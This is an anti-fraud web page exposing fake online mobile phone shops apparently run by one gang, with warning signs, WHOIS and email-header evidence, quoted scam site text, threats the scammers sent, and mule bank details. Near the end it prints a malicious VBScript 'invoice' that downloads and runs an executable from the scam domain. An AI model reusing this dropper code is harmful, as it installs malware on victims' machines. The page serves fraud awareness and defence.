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Mobile phone scams from Nigeria and Europe (payment by Western Union)
Mobile phone seller scams
- Fake electronics stores and how to detect them
- Beware of fraud: Fake escrow companies
- Trans-GlobalGSM.com
- LocalGSM.com
- gsm-mobileshop.com
- eurogsmshop.com
- eurogsmltd.com
- e-phonehouse.com (registered 2005-09-20)
- GSM-MarketPlace
- phones-marketplace.com
- Anamea Company / anamea.biz
- centrin-online.com
- yourpreston.com
- smart-mobile-phones.com
- Tradeisafe Net
- store-gsm.com
- ActivShoper@yahoo.es
- BB MOBILEZ LTD
- MOBILEZ PHONES LIMITED (Anderson)
- LWEIS CELLPHONES LTD
- MOBILE PHONE INC / MOBILE PHONES INC / FRANCA BROWN
- PHONES SELLERS INCORPORATED / FOLA DAVID
- MOBILE DEALER LTD / David Sammy
- PHONE HOUSE STORES INCORPORATED
- monica smith, phonehouseincstoresng@yahoo.com"
- CC KEVIN PHONES INC STORES
- PAUL GLASS, ALPINE STORES LTD(UK)
- TELECOM PLANET
- ALCARPOLO STORE INC
- El Future Shop Inc
- Habana Shop, Incorporated. (habana.shop.ms)
- Fsc Mobile store Inc
- "raymond Hilary, RAYHIL GSM COMPANY"
- ronzinio@hotmail.com"
- "Mark Cole, Wide Associates Ltd
- MEGAPHONE DISTRIBUTOR, INC (megaphonedistributor.com)
- "LARRY LEE, GLOBAL MOBILE PHONES "
- "TITO JAMIN PHONES LIMITED"
- paygmobiles.net
- E-Market World Shop (Romania)
- Brititel Electronics Ltd.
- "COUNTY TELECOM LIMITED"
- "Physics s.r.l."
- "TRANS GLOBAL-MOBILE.INC"
- Waterstore Trading Company
- "Mr Mario Alexander, Top Mobiles"
- cellworldlink.com
- Cellulari Shop Company
- METRO Cash Carry (metro-credit.biz, 2005-07-14)
- your-mobile-world.com
- Fraud: mailorder shipping to Nigeria
- ALABA STREET, MUSHIN, LAGOS
- Fraud: Car buyer with large cashier's check
- Fraud: Bike seller uses bogus escrow service
- About "419" scams
Fake electronics stores and how to detect them
You will find many businesses on the Internet (including B2B sites such as Alibaba.com and on eBay) that offer mobile phones, notebook computers and other electronic products are very low prices. You should be aware that many of them are fraudulent.
Most fraudulent mobile phone sellers are not actual registered businesses. They have no offices, no warehouses, no accounts. They are just a bunch of guys with cellphones. All names and postal addresses are fake. The whole purpose of the fake companies is to trick people into sending cash or providing credit card details, without ever shipping any products to the customers.
The criminals are taking advantage of the fact that there is a serious lack of law enforcement resources targetted at small scale online fraud. If you have lost less than $5,000-10,000 the police would rather not even open a file on your case. Don't expect serious action unless the damage is much higher. This legal mess comes as a shock to many victims, but it's the current reality.
The fake stores listed here are primarily run by gangs from Nigeria, Romania and Russia. In some cases the only indication of where the criminals are is the country where the bank account is based, which may be different from the address claimed for the company. Here are some simple rules to follow if you don't want to get burnt:
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Never pay for online purchases by Western Union wire transfer (no exceptions)! It doesn't matter where the store claims to be based: Once you send money it can be picked up anywhere in the recipient's country, with no way of tracing the person who picked it up. The criminal remains anonymous. Do not trust any schemes to later change the recipient's name or the question/answer pair. Assume that if the criminal knows your name and the amount you sent he can pick up the money, no questions asked!. That's why Western Union has become the leading payment vehicle for online scams. Western Union is fine to wire cash to a stranded family member in a hurry, but do not use it for internet shopping, ever!
- Never pay by bank wire transfer into a bank account in a name other than the name of the business or in a country other than where the store claims to be based (e.g. UK company, Spanish account or German company, Dutch account). Why would a legitimate business use an account held in the name of an individual or not have an account in the same country?
- Beware if the seller uses a free webmail account (Hotmail, Yahoo, etc) or if the company's main phone number is a mobile phone (Spain: +34-6xx, UK: +44-70xx, +44-87xx, Nigeria: +234 80x) or if it shares the same number for the phone and fax or it doesn't list a postal address.
- Beware if a seller doesn't have his own website or uses a free webhosting site (e.h. http://phonestore.8m.com).
- Beware if the business has its own site, but the domain was created less than three months ago (use the following link to check their domain registration).
- Search for the name of the company on Google. Search for the phone number too, some of the frauds get reincarnated with a new company name but still using the same mobile phone. If the search yields scam warnings or only classified ads by the company and its own website or if you don't find anything at all you should be very careful. Use the form below to search:
- Beware of prices that are too low and/or free shipping and/or worldwide on-site service.
Legitimate businesses need to pay suppliers, rent, taxes etc. and still make a profit. They won't underprice the nearest competitor by 30% or 50%, if they can also get the sale by being only 5-10% cheaper. In the real world international shipping is expensive and so is on-site service. You only get what you pay for. If it sounds too good to be true, it probably is.
- If you pay by credit card you're generally protected, but if the business is a scam they can abuse your credit card details for making fraudulent purchases elsewhere. You may have to get it cancelled and reissued, which is a hassle. PayPal is the safest.
- Don't buy mobile phones and other electronic equipment from a supplier in Nigeria unless you actually live there. Nigeria does not manufacture high-tech electronic equipment. All such goods have to be imported first and its ports and airports are notoriously inefficient. There is no reason why anyone there should be able to export mobile phones, computers and other imported high tech, high value articles cheaply. When you receive offers for such equipment at prices that sound too good to be true, assume it to be a scam.
How to fight back
If you have been defrauded, report the email addresses used in the scam to the webmail providers and ask for the accounts to be suspended (see here). This interrupts all scams in progress and forces the criminals to start from scratch using new email accounts, making all their ads on the web obsolete.
If you have had any questionable offers to buy mobile phones, laptop computers or similar items in Nigeria or Europe, please forward copies of emails to 419@419scam.org so we can warn others! Please use one of the following subject lines for your message:
[419] mobile [419] mobile: fakecompanyname [419] mobile: scamemailaddress
When you see such offers, use a disposable yahoo.com address to contact the company and get a quote for any phone or ask for a price list. You can also ask for payment instructions (bank accounts, wire transfer instructions). After you receive a response, click on the arrow on the right hand side of the Forward button in Yahoo! Mail and select "as attachment" to forward the reply to us. Use the above subject lines. When we receive those forwarded mails we can see where the mails are really sent from. It allows us to tie different scams and email addresses to the same originators.
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Trans-GlobalGSM.com
This fake phone shop in Spain and several others were set up and run by a gang from Romania. They are operating from a mobile phone number and a fake postal address. The bank accounts they use for receiving payments were set up with fake ID.
The following spam promises "Zero Risk". Yes, suuuuure! ;-) The website has a copyright note dated 2003-2005, suggesting the company has been in business for at least two years, when in fact the domain was only registered on 2005-04-06, i.e. four weeks before the first spam. Google finds no hits for the name of the street where the business is supposed to operate. There is no fax number, only a single mobile phone number and a web form.
From: "Trans-Global GSM" <Support@trans-globalgsm.com> To: <emailaddress> Sent: Tuesday, 03 May, 2005 6:12 Subject: Trans-GlobalGSM.com - 50% discount for all cell phones !
- You received this Potetial Customer e-mail newsletter because you can be a valued customer of Trans-GlobalGSM.com.
- You will not receive this email in the future.
The spam email was sent directly from a dialup-account:
Received: from [213.98.204.85] (helo=m37783726-2) by mrelayng.kundenserver.de with asmtp (Exim 3.35 #1) id 1DSiEQ-0004sr-00 for emailaddress; Mon, 02 May 2005 23:13:34 +0200 Reply-To: "Trans-Global GSM" <Support@trans-globalgsm.com> From: "Trans-Global GSM" <Support@trans-globalgsm.com> To: <emailaddress> Subject: Trans-GlobalGSM.com - 50% discount for all cell phones ! Date: Mon, 2 May 2005 23:12:51 +0200
WHOIS details for sending network (IP 213.98.204.85):
inetnum: 213.98.192.0 - 213.98.255.255
netname: RIMA
descr: Telefonica De Espana SAU (NCC#2001015139)
descr: Red de servicios IP
descr: Spain
country: ES
admin-c: LJP5-RIPE
tech-c: FLT14-RIPE
rev-srv: scmrro3.nombres.ttd.es
rev-srv: scmrro4.nombres.ttd.es
rev-srv: ns.ripe.net
status: ASSIGNED PA
remarks: ***************************************************
remarks: For ABUSE/SPAM/INTRUSION issues
remarks: PLEASE CONTACT ONLY THROUGH LINK
remarks: http://www.telefonicaonline.com/nemesys/
remarks: or send mail to nemesys@telefonica.es
remarks: any mail to adminis.ripe@telefonica.es will be ignored
remarks: ***************************************************
mnt-by: MAINT-TdE
source: RIPE
person: L Jimenez
address: TELEFONICA DE ESPANA
address: Emilio Vargas, 4
address: 28043-MADRID
address: SPAIN
phone: +34 91 5846497
fax-no: +34 91 5842650
e-mail: adminis.ripe@telefonica.es
nic-hdl: LJP5-RIPE
mnt-by: MAINT-TdE
remarks: ***************************************************
remarks: For ABUSE/SPAM/INTRUSION issues
remarks: PLEASE CONTACT THROUGH LINK
remarks: http://www.telefonicaonline.com/nemesys/
remarks: or send mail to nemesys@telefonica.es
remarks: any mail to adminis.ripe@telefonica.es will be ignored
remarks: ***************************************************
source: RIPE
person: Francisco Lorenzo de Tuero
address: TELEFONICA DE ESPANA
address: Emilio Vargas, 4
address: 28043-MADRID
address: SPAIN
phone: +34 91 5194446
fax-no: +34 91 5846936
remarks: ***************************************************
remarks: For ABUSE/SPAM/INTRUSION issues
remarks: PLEASE CONTACT THROUGH LINK
remarks: http://www.telefonicaonline.com/nemesys/
remarks: or send mail to nemesys@telefonica.es
remarks: any mail to adminis.ripe@telefonica.es will be ignored
remarks: ***************************************************
e-mail: francisco.lorenzodetuero@telefonica.es
nic-hdl: FLT14-RIPE
mnt-by: MAINT-TdE
source: RIPE
WHOIS details for domain "trans-globalgsm.com":
Request: trans-globalgsm.com connected to whois.melbourneit.com [203.27.227.114:43] ... Domain Name.......... trans-globalgsm.com Creation Date........ 2005-04-07 Registration Date.... 2005-04-07 Expiry Date.......... 2007-04-07 Organisation Name.... Trans Global GSM Organisation Address. Carretera Malilla, 92 Organisation Address. Organisation Address. Valencia Organisation Address. 46026 Organisation Address. 00 Organisation Address. SPAIN Admin Name........... Lister Joan Daimond Admin Address........ Carretera Malilla, 92 Admin Address........ Admin Address........ Valencia Admin Address........ 46026 Admin Address........ 00 Admin Address........ SPAIN Admin Email.......... Support@Trans-GlobalGSM.com Admin Phone.......... +34610259087 Admin Fax............ Tech Name............ Verio Hostmaster Tech Address......... 5050 Blue Lake Dr. Tech Address......... Tech Address......... Boca Raton Tech Address......... 33431 Tech Address......... FL Tech Address......... UNITED STATES Tech Email........... hostmaster@VERIO-HOSTING.COM Tech Phone........... 888-663-6648 Tech Fax............. 888-663-6655 Name Server.......... ns19a.nameservers.net Name Server.......... ns19b.nameservers.net
The postal address listed (Carretera Malilla, 92, Valencia) is the same as for a branch of a bank, Bancaja in Valencia. It is in a different city from the postal address listed on their website. Both the website and the WHOIS record list the same mobile phone number, though:
Trans-GlobalGSM.com Carrer Diagonal 167 08017, Barcelona, Spain Call our customer representative at: +34-610-259-087 Please contact our Customer Service Team on +34-610-259-087 Support@trans-globalgsm.com = Joan Daimond Lister Universitat 23 Barcelona, 08012 Spain = David Cragster Carrer de Suite 160 Barcelona, 08001 Spain = Bank Name: BANCAJA Full Name: Joan Daimond Lister Account Number: 2077/0089/70/1601285235 IBAN: IBAN ES55 2077 0089 7016 0128 5235 BIC(SWIFT): CVALESVVXXX COUNTRY: Spain
Threatening unsigned email from "Trans-GlobalGSM.com":
After publishing the above information, we received the following email:
From: "Trans-Global GSM" <abuse@Trans-GlobalGSM.com> To: <jwspamspy@pobox.com> Sent: Sunday, 08 May, 2005 3:27 Subject: Trans-Global GSM I hope you know what is the next thing we are going to do because of you website ! You better find a lawyer because hard days are coming for you . You have to pay for what you`ve done and i will quarantee you that you will pay . You said that on the our website is "All Copyrights Reserved to Trans-Global GSM 2003-2005" . For you information our company is running from 2003 , and now in 2005 we have made an website for our company . Best Regards Trans-Global GSM Sales Department E-mail: transactions@trans-globalgsm.com
Message headers:
Received: from 62.Red-81-38-196.pooles.rima-tde.net[81.38.196.62] (helo=m37783726-3) by mrelayeu.kundenserver.de with ESMTP (Nemesis), id 0ML2Dk-1DUU1p1mXL-0003SB; Sat, 07 May 2005 20:27:53 +0200 Reply-To: "Trans-Global GSM" <abuse@Trans-GlobalGSM.com> From: "Trans-Global GSM" <abuse@Trans-GlobalGSM.com> To: <jwspamspy@pobox.com> Subject: Trans-Global GSM Date: Sat, 7 May 2005 20:27:54 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Message-ID: <ML2Dk-1DUU1p1mXL-0003SB@mrelayeu.kundenserver.de>
Later we received another threatening email in the of a Pamela Joan Lister, very similar to the name "Joan Daimond Lister" used in the "trans-globalgsm.com" scam. A third and fourth email were received several months later, just before the gang attacked our PayPal account using fake eBay auctions using at least two hacked accounts.
trans-global-gsm.com (2005-03-29)
This is another domain used by the same fraudulent company. The registration details are fake.
WHOIS details for domain "trans-global-gsm.com":
Request: trans-global-gsm.com connected to whois.crsnic.net [198.41.3.54:43] ... connected to whois.melbourneit.com [203.27.227.114:43] ... Domain Name.......... trans-global-gsm.com Creation Date........ 2005-03-29 Registration Date.... 2005-03-29 Expiry Date.......... 2006-03-29 Organisation Name.... John Mcpherson Organisation Address. 120 Country Place Drive Organisation Address. Organisation Address. Stockbridge Organisation Address. 30281 Organisation Address. GA Organisation Address. UNITED STATES Admin Name........... John Mcpherson Admin Address........ 120 Country Place Drive Admin Address........ Admin Address........ Stockbridge Admin Address........ 30281 Admin Address........ GA Admin Address........ UNITED STATES Admin Email.......... tgg_team@yahoo.com Admin Phone.......... +1.4042397242 Admin Fax............ Tech Name............ YahooDomains TechContact Tech Address......... 701 First Ave. Tech Address......... Tech Address......... Sunnyvale Tech Address......... 94089 Tech Address......... CA Tech Address......... UNITED STATES Tech Email........... domain.tech@YAHOO-INC.COM Tech Phone........... +1.6198813096 Tech Fax............. +1.6198813010 Name Server.......... yns1.yahoo.com Name Server.......... yns2.yahoo.com
"Cargo Escrow" / cargo-esc.com (2005-08-21)
This is a fake Escrow service run by the same gang as "Trans-GlobalGSM.com". The domain was registered on 2005-08-21. The domain used in the contact email of the WHOIS details was registered a few months earlier using a fake address in Denmark and a mobile phone number in Spain. It also mentions a "Joan Lister", a name connected to "Trans-GlobalGSM.com". Another fake escrow operated by the same gang was buyssafe-inc.com (created 2005-03-14).
About Us
Who are we?
Cargo Escrow is an escrow company based in Sydney, Australia.We were born out of the ever increasing need for fast, reliable transactions which would also not exclude the one value that the Internet Community cherishes most: privacy.
What does our system for you?
As a buyer, you are the beneficiary of our 5 - step process that postpones the release of your funds until a complete merchandise inspection, during the inspection period. As a seller, you enjoy the flexibility of our cooperation with major ground-shipment providers, which translates into a reduction of the period of time in which your merchandise reaches your customer. You will also be highly protected against payment fraud, as all disadvantages resulting from credit card payment methods, such as fraudulent use by the prospective buyer, are eliminated.
An Escrow Service That Is Secure, Flexible And Fast
Cargo Escrow is hosted on secure servers using the latest in encryption technology. Cargo Escrow is a licensed and accredited escrow company that operates in compliance with currently applicable escrow regulations.
WHOIS details for domain "cargo-esc.com":
Request: cargo-esc.com connected to whois.joker.com [194.245.101.83:43] ... domain: cargo-esc.com owner: Cargo Escrow email: cargo@electronics4trade.com address: 8306 Wilshir Blvd Ste. 232 city: Beverly Hills state: -- postal-code: 90211 country: US phone: 8007620398 admin-c: cargo@electronics4trade.com#0 tech-c: cargo@electronics4trade.com#0 billing-c: cargo@electronics4trade.com#0 nserver: a.ns.joker.com 194.176.0.2 nserver: b.ns.joker.com 194.245.101.19 nserver: c.ns.joker.com 194.245.50.1 status: lock created: 2005-08-21 18:16:30 UTC modified: 2005-08-21 18:30:10 UTC expires: 2006-08-21 14:16:29 UTC source: joker.com live whois service query-time: 0.055655 db-updated: 2005-09-11 03:35:54
WHOIS details for domain "electronics4trade.com":
Request: electronics4trade.com connected to whois.crsnic.net [198.41.3.54:43] ... connected to whois.joker.com [194.245.101.83:43] ... domain: electronics4trade.com owner: FLEMMING STEEN NIELSEN organization: Electronics Trade email: listerjoan_2005@yahoo.es address: Naturparken 21 city: Roskilde state: -- postal-code: 4000 country: DK phone: +34-610-235-453 admin-c: listerjoan_2005@yahoo.es#0 tech-c: listerjoan_2005@yahoo.es#0 billing-c: listerjoan_2005@yahoo.es#0 nserver: a.ns.joker.com 194.176.0.2 nserver: b.ns.joker.com 194.245.101.19 nserver: c.ns.joker.com 194.245.50.1 status: lock created: 2005-04-25 12:23:17 UTC modified: 2005-04-25 12:23:17 UTC expires: 2007-04-25 08:23:17 UTC source: joker.com live whois service query-time: 0.071604 db-updated: 2005-09-11 03:38:44
buyssafe-inc.com (2005-03-14)
This is another domain used by the same fraudulent company. The registration details are fake.
WHOIS details for domain "buysafe-inc.com":
Request: buysafe-inc.com connected to whois.schlund.info [195.20.224.146:43] ... domain: buysafe-inc.com created: 14-Mar-2005 last-changed: 14-Mar-2005 registration-expiration: 14-Mar-2006 nserver: ns33.1and1.co.uk nserver: ns34.1and1.co.uk status: CLIENT-TRANSFER-PROHIBITED registrant-firstname: Corinne registrant-lastname: Tosaki registrant-street1: 11 Reid Avenue registrant-pcode: G61 3DR registrant-city: Glasgow registrant-ccode: GB registrant-phone: +44.1414923417 registrant-email: ies@secure2trade.com admin-c-firstname: Corinne admin-c-lastname: Tosaki admin-c-street1: 11 Reid Avenue admin-c-pcode: G61 3DR admin-c-city: Glasgow admin-c-ccode: GB admin-c-phone: +44.1414923417 admin-c-email: ies@secure2trade.com tech-c-firstname: Hostmaster tech-c-lastname: ONEANDONE tech-c-organization: 1&1 Internet Ltd. tech-c-street1: Herschel Street tech-c-street2: The Nova Building tech-c-pcode: SL1 1XS tech-c-city: Slough tech-c-ccode: GB tech-c-phone: +44.8708503305 tech-c-fax: +44.1753490444 tech-c-email: hostmaster@1and1.co.uk bill-c-firstname: Hostmaster bill-c-lastname: ONEANDONE bill-c-organization: 1&1 Internet Ltd. bill-c-street1: Herschel Street bill-c-street2: The Nova Building bill-c-pcode: SL1 1XS bill-c-city: Slough bill-c-ccode: GB bill-c-phone: +44.8708503305 bill-c-fax: +44.1753490444 bill-c-email: hostmaster@1and1.co.uk
WHOIS details for domain "secure2trade.com":
Request: secure2trade.com connected to whois.crsnic.net [198.41.3.54:43] ... connected to whois.joker.com [194.245.101.83:43] ... domain: secure2trade.com owner: third party name organization: third party name email: cashcate_a2k@yahoo.de address: third party street address city: third party city state: -- postal-code: third party zip country: US phone: third party work number admin-c: cashcate_a2k@yahoo.de#0 tech-c: cashcate_a2k@yahoo.de#0 billing-c: cashcate_a2k@yahoo.de#0 nserver: a.ns.joker.com 194.176.0.2 nserver: b.ns.joker.com 194.245.101.19 nserver: c.ns.joker.com 194.245.50.1 status: lock created: 2005-02-09 13:21:26 UTC modified: 2005-02-09 13:21:26 UTC expires: 2006-02-09 08:21:26 UTC source: joker.com live whois service query-time: 0.059766 db-updated: 2005-09-11 03:54:25
A person with this email address (cashcate_a2k@yahoo.de) was selling Motorola Razrs in an auction in February and claimed to be based in Barcelona, Spain, just like Trans-GlobalGSM.com.
LocalGSM.com
"Trans-GlobalGSM.com" seem to have changed their name, because a virtually identical site now operates under a new name. "localgsm.com" is a fraud. It was only registered on 2005-04-30, despite it's "2003-2005" copyright notice. That is about three weeks later than "Trans-GlobalGSM.com" which was registered on 2005-04-06. Compare the two sites:
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Be sure you get what you bought Our products are brand new and as is described in our page. Fast deals Want to close the deal fast and secure? You came to the right place! You can rely on us! Welcome buyers! We are the perfect way to shop online. http://www.trans-globalgsm.com/index2.html |
Be sure you get what you bought Our products are brand new and as is described in our page. Fast deals Want to close the deal fast and secure? You came to the right place! You can rely on us! Welcome buyers! We are the perfect way to shop online. http://www.localgsm.com/index.html |
The +34-6xx number is mobile phone in Spain. Here is what they say about themselves:Call our customer representative at: +34-666015453 Call us (Tool Free from USA): 1-877-533-4807 Customer Service Team on +34-666-015-453
LocalGSM.com: The premier way to shop online Who are we? LocalGSM.com is an store based in Burgos 47, 3/6 A,08100, Barcelona, Spain.We were born out of the ever increasing need for fast, reliable transactions which would also not exclude the one value that the Internet Community cherishes most: privacy. What does or system for you? As a buyer, you are the beneficiary of our 5 - step process that postpones the order and shipp of the products ordered.You will also be highly protected against payment fraud, as all disadvantages resulting from credit card payment methods, such as fraudulent use by the prospective buyer, are eliminated. An Shop Service That Is Secure, Flexible And Fast LocalGSM.com is hosted on secure servers using the latest in encryption technology. LocalGSM.com is a licensed and accredited shopping company that operates in compliance with currently applicable shop regulations.
Despite their claims about encryption, you can't open their website via a secure connection (https://localgsm.com), which indicates they have no encryption certificate.
On their products pages, all 10 different models on the first Sony Vaio page, from a 12" to a 17" screen, with drives sizes from 40 to 80 GB and CPU speeds from 1.4 GHz to 1.7 GHz cost exactly the same: €899.00. This doesn't make any sense.
Here is a report we have received about them:
MOBILE PHONE SCAM IN SPAIN!!! The company Trans-globalgsm.com has created another name for themselves: localgsm.com!!! I was defrauded. Saw their ad on ebay contacted them and wired about £700 from London. I became suspicious and asked my bank to stop it today. After a lot of hassle trying to trace the funds, I had to use the services of a translator to explain to the bank in spain i wired the money to that the account was being used for fraud. Apparently other victims had contacted them too and the funds have been frozen - so hopefully I will be getting back the major part of my money as the bank confirmed that the crooks could not get it because of my fast action and that of the other vulnerable individuals who they scammed!!
Threatening mail from "Pamela Joan Lister"
"Pamela Joan Lister" sounds very similar to the name "Joan Daimond Lister" used in the "trans-globalgsm.com" scam. It seems ironic that a thief accuses us of being "rude".
Hello,
Regarding your web site www.joewein.de
I have only one sugestion for you.
Shout it down until you have problems with us.
I realy want you to understand and shout it down for i will not be forced to take auctions aganist you.
I understand that you post that informations for the peoples can donate money and you get it.Is profitable but by example you can sell t-shirts or boots or something else not to prevent fraud for money.Is like something free for cash you understand.
Is a donation yes but why you are so rude dude?
go to work not ask for money you look like a gipsye
Regards,
Sons Of Darkness Hackers Team
Message headers:
Received: from [80.58.35.42] by web26807.mail.ukl.yahoo.com via HTTP; Fri, 24 Jun 2005 15:54:20 CEST Date: Fri, 24 Jun 2005 15:54:20 +0200 (CEST) From: Pamela Joan Lister <listerjoan_2005@yahoo.es> Subject: Hi To: joewein@pobox.com
GSM-MobileShop.com
"GSM-Mobile Shop" (gsm-mobileshop.com) is part of the same series of scams as "Trans-GlobalGSM.com"
and "LocalGSM.com" run by a Romanian gang. The domain was registered on 2005-07-23 using DomainsByProxy.com to hide the identity of the registrant.
The only phone number of their site is a mobile phone: +34-662-396-902.
GSM-MobileShop.com: The premier way to shop online
Who are we?
GSM-MobileShop.com is an store based in Rambla 14, 08022, Barcelona, Spain.We were born out of the ever increasing need for fast, reliable transactions which would also not exclude the one value that the Internet Community cherishes most: privacy.
What does our system for you?
As a buyer, you are the beneficiary of our 5 - step process that postpones the order and shipp of the products ordered.You will also be highly protected against payment fraud, as all disadvantages resulting from credit card payment methods, such as fraudulent use by the prospective buyer, are eliminated.
An Shop Service That Is Secure, Flexible And Fast
GSM-MobileShop.com is hosted on secure servers using the latest in encryption technology. GSM-MobileShop.com is a licensed and accredited shopping company that operates in compliance with currently applicable shop regulations.
The company does not accept credit cards or PayPal payments (in other words, payment methods which are safe for the buyer), only money orders and bank wire transfers. Bank wire transfers to bank accounts in Spain are the second most common payment method in online fraud cases that we come across (after Western Union/Moneygram).
The following information is for payments on transactions that are in all currencyes.
Money Order
Please make money order payable to Frank Breakster or to Ethan Steeples, under the addresses listed below:
(We do not accept checks drawn on a credit card)
Frank Breakster
Ponent 21
Barcelona, 08012 Spain
Ethan Steeples
Clot 17
Barcelona, 08001 Spain
PayPal Transfers:
For the moment not available. One of our customers has pay us with an stolen PayPal account and the result was: our PayPal account locked.
Wire Transfers:
Available.
Eurogsmshop.com (2005-08-16)
Eurogsmltd.com (2005-09-08)
Eurogsmshop.com is a fraud. The domain was only registered on 2005-08-16, a week before the first person reported it to us. Its twin eurogsmltd.com (registered on 2005-09-08) is basically another version of eurogsmshop.com. It even still mentions "eurogsmshop.com" by name. Both are the same scam as Trans-GlobalGSM.com, LocalGSM.com and gsm-mobileshop.com. Eurogsmshop.com even uses the same mobile phone number as the first two (+34-666-015-453). Eurogsmltd.com uses a different mobile number (+34-697-531-049), which is mentioned in a thread on Dutch anti-fraud site internetoplichting.nl that also mentions the fraud site electronics4trade.com, which in turn is mentioned in the WHOIS details of cargo-esc.com, another scam related to Trans-GlobalGSM.com. The next scam in the series is e-phonehouse.com (registered 2005-09-20). All of these scams are run by the same criminals from Romania.
EuroGSMltd.com used a bank account operated in the name of one "Marcello Tomassi" at the Spanish bank "La Caixa" located at Carrer Padilla 271 in Barcelona. The bank appears to have suspended this account now.
The above fraud sites share descriptive text with the fake escrow sites escrow-bg.com ("USA Escrow") and parcel-ex.com ("Prestige Alliance"), but in a threating email from the gang the criminals deny that the fake escrow sites are part of the same scame as their other sites.
For general support and advice please call our number(s) from 10 AM to 10 PM GMT Time, Monday to Friday and from 4 PM to 10 PM GMT Time Sunday and Saturday.
For tech Support and Questions
Call our customer representative at: +34-666-015-453
Who are we?
eurogsmshop.com is an store based in C/Sant Francesc 4,08290, Barcelona, Spain.We were born out of the ever increasing need for fast, reliable transactions which would also not exclude the one value that the Internet Community cherishes most: privacy.
What does or system for you?
As a buyer, you are the beneficiary of our 5 - step process that postpones the order and shipp of the products ordered.You will also be highly protected against payment fraud, as all disadvantages resulting from credit card payment methods, such as fraudulent use by the prospective buyer, are eliminated.
An Shop Service That Is Secure, Flexible And Fast
eurogsmshop.com is hosted on secure servers using the latest in encryption technology. eurogsmshop.com is a licensed and accredited shopping company that operates in compliance with currently applicable shop regulations.
WHOIS details for "eurogsmshop.com":
Registrant: Domains by Proxy, Inc. DomainsByProxy.com 15111 N. Hayden Rd., Ste 160, PMB 353 Scottsdale, Arizona 85260 United States Registered through: GoDaddy.com (http://www.godaddy.com) Domain Name: EUROGSMSHOP.COM Created on: 16-Aug-05 Expires on: 16-Aug-06 Last Updated on: 16-Aug-05 Administrative Contact: Private, Registration EUROGSMSHOP.COM@domainsbyproxy.com Domains by Proxy, Inc. DomainsByProxy.com 15111 N. Hayden Rd., Ste 160, PMB 353 Scottsdale, Arizona 85260 United States (480) 624-2599 Technical Contact: Private, Registration EUROGSMSHOP.COM@domainsbyproxy.com Domains by Proxy, Inc. DomainsByProxy.com 15111 N. Hayden Rd., Ste 160, PMB 353 Scottsdale, Arizona 85260 United States (480) 624-2599 Domain servers in listed order: WSC1.JOMAX.NET WSC2.JOMAX.NET Registry Status: REGISTRAR-LOCK
WHOIS details for domain "eurogsmltd.com":
Registrant:
Domains by Proxy, Inc.
DomainsByProxy.com
15111 N. Hayden Rd., Ste 160, PMB 353
Scottsdale, Arizona 85260
United States
Registered through: GoDaddy.com
Domain Name: EUROGSMLTD.COM
Created on: 08-Sep-05
Expires on: 08-Sep-06
Last Updated on: 08-Sep-05
Administrative Contact:
Private, Registration EUROGSMLTD.COM@domainsbyproxy.com
Domains by Proxy, Inc.
DomainsByProxy.com
15111 N. Hayden Rd., Ste 160, PMB 353
Scottsdale, Arizona 85260
United States
(480) 624-2599
Technical Contact:
Private, Registration EUROGSMLTD.COM@domainsbyproxy.com
Domains by Proxy, Inc.
DomainsByProxy.com
15111 N. Hayden Rd., Ste 160, PMB 353
Scottsdale, Arizona 85260
United States
(480) 624-2599
Domain servers in listed order:
PARK21.SECURESERVER.NET
PARK22.SECURESERVER.NET
A customer who placed an order with EuroGsmLtd.com was sent an "Invoice" as an attachment by email. When he tried to view the file, his Virus scanner stopped him. The "Invoice" turned out to be a Visual Basic script that installs a Trojan in the Windows folder of the victim:
invoicennnnnnn.vbs:
const adTypeBinary = 1
const adSaveCreateOverwrite = 2
const adModeReadWrite = 3
set xmlHTTP = CreateObject("Microsoft.XMLHTTP")
xmlHTTP.open "GET","http://eurogsmltd.com/esc/services.exe",false
xmlHTTP.send
contents = xmlHTTP.responseBody
Set oStr = CreateObject("ADODB.Stream")
oStr.Mode = adModeReadWrite
oStr.Type = adTypeBinary
oStr.Open
oStr.Write(contents)
oStr.SaveToFile "c:\Windows\services.exe", adSaveCreateOverwrite
Dim oShell
Set oShell = WScript.CreateObject ("WSCript.Shell")
oShell.run "cmd /K c:\windows\services.exe & "
Set oShell = Nothing
Another threat from the "Global GSM" gang:
Hello,
i write you this email because i want to make something clear:
here:
Eurogsmshop.com (2005-08-16)
Eurogsmltd.com (2005-09-08)
Eurogsmshop.com is a fraud. The domain was only registered on 2005-08-16, a week before the first person reported it to us. Its twin eurogsmltd.com (registered on 2005-09-08) is basically another version of eurogsmshop.com. It even still mentions "eurogsmshop.com" by name. Both are the same scam as Trans-GlobalGSM.com, LocalGSM.com and gsm-mobileshop.com. Eurogsmshop.com even uses the same mobile phone number as the first two (+34-666-015-453). Eurogsmltd.com uses a different mobile number (+34-697-531-049), which is mentioned in a thread on Dutch anti-fraud site internetoplichting.nl that also mentions the fraud site electronics4trade.com, which in turn is mentioned in the WHOIS details of cargo-esc.com, another scam related to Trans-GlobalGSM.com.
This sites were apparently created by the same gang as the fake escrow sites escrow-bg.com ("USA Escrow") and parcel-ex.com ("Prestige Alliance") because all three sites share descriptive text.
You say that all that sites:
Trans-GlobalGSM.com
cargo-esc.com
gsm-mobileshop.com
LocalGSM.com
Trans-GlobalGSM.com
eurogsmshop.com
buysafe-inc.com
are related to :
escrow-bg.com and parcel-ex.com
as the owner of the most of it i want to clarify that we don`t own escrow-bg.com and parcel-ex.com
and only that mentioned.Ok but only 4 of it are mine and other 2 of one of my friends.
i want this clear because i something very disturbing because we are the bests.Any way look i sugest you to shout down your page once you will receive this email or you will get big problems.I`ve threaten you once but now i will keep my promise
if i don`t see that removed so bee it i will take action....you will be punished and yes put that on the page...i beg you.....
regards,
SOD
Later the person offered to "talk":
From: "ricky marn" <rickymarn@yahoo.es>
To: <joewein@pobox.com>; <jwSpamSpy@pobox.com>
Sent: Thursday, 22 September, 2005 5:08
Subject: hello...related some spam web sites
if you want to talk i can talk i see you very interested about us...are you following?
---------------------------------
Correo Yahoo!
Comprueba qué es nuevo, aquí
http://correo.yahoo.es
This is yet another incarnation of the TransGlobal GSM / Euro GSM series of mobile phone scams run by criminals from Romania who are based in Spain. They take orders and cash but never deliver any goods. If you've been cheated report this to the police where you live.
